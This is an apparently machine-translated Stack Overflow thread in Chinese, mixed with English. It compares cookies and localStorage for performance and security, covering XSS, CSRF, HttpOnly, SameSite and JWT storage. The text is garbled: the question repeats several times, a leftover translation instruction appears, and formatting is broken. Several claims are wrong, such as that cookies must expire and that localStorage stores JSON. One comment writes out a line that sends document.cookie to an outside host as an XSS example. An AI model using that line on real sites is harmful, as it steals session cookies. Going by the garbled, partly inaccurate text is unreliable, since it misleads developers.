我想通过将所有cookie移到本地存储中来减少网站的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替代cookie功能是否存在任何优缺点(特别是性能方面)?
我希望通过在本地存储中存储cookie来减少我的网站加载时间,本地存储似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替代cookie功能是否存在任何优缺点(特别是性能方面)?请注意保留HTML标记。我想通过将所有cookie移到本地存储中来减少网站的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替代cookie功能是否存在任何优缺点(特别是性能方面)?
我希望通过在本地存储中存储cookie来减少我的网站加载时间,本地存储似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替代cookie功能是否存在任何优缺点(特别是性能方面)?请注意保留HTML标记。Cookie 和本地存储有着不同的用途。Cookie 主要用于服务器端读取,本地存储只能由客户端读取。因此问题是,在您的应用程序中,谁需要这些数据 —— 客户端还是服务器?
如果是您的客户端(即 JavaScript),那么请转换到本地存储。通过在每个 HTTP 标头中发送所有数据,您正在浪费带宽。
如果是您的服务器,则本地存储并不是很有用,因为您必须以某种方式将数据转发(使用 Ajax 或隐藏表单字段或其他方式)。如果服务器每个请求只需要总数据的一小部分,那么这可能还可以接受。
无论如何,您都需要将会话 cookie 保留为 cookie。
根据技术差异和我的理解:
除了作为保存数据的旧方法之外,Cookie 还有一个4096字节(实际上是 4095)的限制 —— 每个 Cookie 都是如此。本地存储大小为每个域名10MB —— 这个 Stack Overflow 的问题也提到了这一点。
localStorage
是Storage
接口的一种实现。它存储没有到期日的数据,并且只能通过 JavaScript 或清除浏览器缓存/本地存储的数据才能被清除 —— 不像 Cookie 有过期时间。
sessionStorage
视为一个具有过期时间直到浏览器关闭的Cookie(而不是标签页)。@darkporter,谢谢您的回答。但是,请告诉我Cookies和Local Storage之间的技术区别。期待您的编辑。 - Om ShankarlocalStorage
保留在客户端,而cookies
则随HTTP标头发送。这是它们之间最大的(但不是唯一的)区别。 - Andre Calil问题:
当使用HttpOnly cookie标志时,Cookie不可通过JavaScript访问,并且免疫XSS。您还可以设置Secure cookie标志以确保仅通过HTTPS发送Cookie。这是过去利用Cookie存储令牌或会话数据的主要原因之一。现代开发人员不愿使用Cookie,因为它们传统上需要在服务器上存储状态,从而破坏了RESTful最佳实践。如果在Cookie中存储JWT,则作为存储机制的Cookie不需要在服务器上存储状态。这是因为JWT封装了服务器提供请求所需的所有内容。完整的文章可以在这里找到: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/ 他们还有一篇有用的文章,关于如何最好地设计和实现JWT,涉及到令牌本身的结构: https://stormpath.com/blog/jwt-the-right-way/Modern browsers support the
SameSite
flag, in addition toHttpOnly
andSecure
. The purpose of this flag is to prevent the cookie from being transmitted in cross-site requests, preventing many kinds of CSRF attack.For browsers that do not support
SameSite
, CSRF can be prevented by using synchronized token patterns. This sounds complicated, but all modern web frameworks have support for this.For example, AngularJS has a solution to validate that the cookie is accessible by only your domain. Straight from AngularJS docs:
When performing XHR requests, the $http service reads a token from a cookie (by default, XSRF-TOKEN) and sets it as an HTTP header (X-XSRF-TOKEN). Since only JavaScript that runs on your domain can read the cookie, your server can be assured that the XHR came from JavaScript running on your domain. You can make this CSRF protection stateless by including a
xsrfToken
JWT claim:
{ "iss": "http://galaxies.com", "exp": 1300819380, "scopes": ["explorer", "solar-harvester", "seller"], "sub": "tom@andromeda.com", "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e" }
Leveraging your web app framework’s CSRF protection makes cookies rock solid for storing a JWT. CSRF can also be partially prevented by checking the HTTP Referer and Origin header from your API. CSRF attacks will have Referer and Origin headers that are unrelated to your application.
localStorage
可以被页面上的其他脚本访问...但XMLHttpRequest
也是如此...而且,确实,HttpOnly
标记可以防止cookie被盗用,但浏览器仍会自动将其发送到匹配的域名,所以...基本上,当您的页面上运行恶意脚本时,您已经被黑客攻击了。 - Stijn de Wittwindow.location = 'http://google.com?q=' + escape(document.cookie);
这种攻击方式可以绕过浏览器的CORS检查。 - Memet Olsen使用 localStorage
,Web 应用程序可以在用户的浏览器内部本地存储数据。在 HTML5 之前,应用程序数据必须存储在每个服务器请求中包含的 Cookie 中。大量数据可以本地存储,而不会影响网站性能。尽管 localStorage
更加现代化,但两种技术都有一些利弊。
优点
缺点
优点
缺点
localStorage
的使用与会话相似。它们几乎具有相同的方法,因此从会话切换到 localStorage
简直就是小菜一碟。但是,如果存储的数据对您的应用程序非常关键,您可能会使用 Cookie 作为备份以防 localStorage
不可用。如果要检查浏览器是否支持 localStorage
,只需运行此简单的脚本:
/*
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
var test = 'test';
try {
localStorage.setItem(test, test);
localStorage.removeItem(test);
return true;
} catch(e) {
return false;
}
}
/*
* execute Test and run our custom script
*/
if(lsTest()) {
// window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
window.localStorage.setItem(name, 1);
console.log('localStorage where used'); // log
} else {
document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
console.log('Cookie where used'); // log
}
“在安全(SSL)页面上,localStorage的值是隔离的”。需要注意的是,如果您从“http”切换到“https”保护协议,则localStorage将不可用,而cookie仍然可以访问。如果您使用安全协议工作,则这一点非常重要。
localstorage is more secure
. Can you comment on why some reputable opinions say the opposite?: Stormpath recommends that you store your JWT in cookies for web applications, because of the additional security they provide
- ecoeCookies(Cookie):
本地存储(Local Storage):
容量:
浏览器支持:
存储位置:
发送请求时是否发送:
访问位置:
到期日期:
注意: 使用适合自己的存储方式。
值得一提的是,在某些版本的移动Safari中使用“隐私”模式浏览时,localStorage
无法使用。
引用自2018年 MDN的Window.localStorage
主题 的WayBack存档:
注意:从iOS 5.1开始,Safari Mobile将
localStorage
数据存储在缓存文件夹中,这个文件夹可能会偶尔被操作系统清理,如当空间不足时。同时,Safari Mobile的隐私浏览模式也完全禁止写入localStorage
。
Cookie:
JavaScript可以访问Cookie,因此XSS攻击(跨站脚本攻击)可能会窃取Cookie数据,但是将HttpOnly标志设置到Cookie中可以防止JavaScript访问Cookie数据,从而保护Cookie数据不受XSS攻击。
Cookie易受CSRF(跨站请求伪造)攻击,但将SameSite标志与Lax一起设置到Cookie中可以减轻CSRF,并将SameSite标志与Strict一起设置到Cookie中可以防止CSRF。
必须有过期日期,因此当过期日期到期时,Cookie会自动删除,即使您忘记删除Cookie,也会因为过期日期而自动删除Cookie。
Cookie的常见大小约为4KB(具体取决于浏览器)。
本地存储:
JavaScript可以访问本地存储,因此XSS攻击(跨站脚本攻击)可能会窃取本地存储数据,目前我所研究的结果是没有简单的方法可以防止XSS攻击。
不容易受到跨站请求伪造(CSRF)的攻击。
本地存储数据没有过期日期,如果你忘记删除它,它可以永久留存在本地。
大小通常为5MB左右(取决于浏览器)。
我建议使用Cookie来存储敏感数据,使用本地存储来存储非敏感数据。
本地存储可以离线存储高达5MB的数据,而会话存储也可以存储高达5MB的数据。但是cookie只能以文本格式存储4KB的数据。
本地和会话存储的数据是以JSON格式存储的,因此易于解析。但cookie的数据是以字符串格式存储的。
本地存储的速度很大程度上取决于客户端使用的浏览器,以及操作系统。在Mac上,Chrome或Safari可能比PC上的Firefox快得多,特别是使用新的API时。然而,像往常一样,测试是您最好的朋友(我找不到任何基准测试)。
我真的看不出cookie和本地存储之间有很大的区别。此外,您应该更担心兼容性问题:并非所有浏览器都开始支持新的HTML5 API,因此cookie是速度和兼容性最好的选择。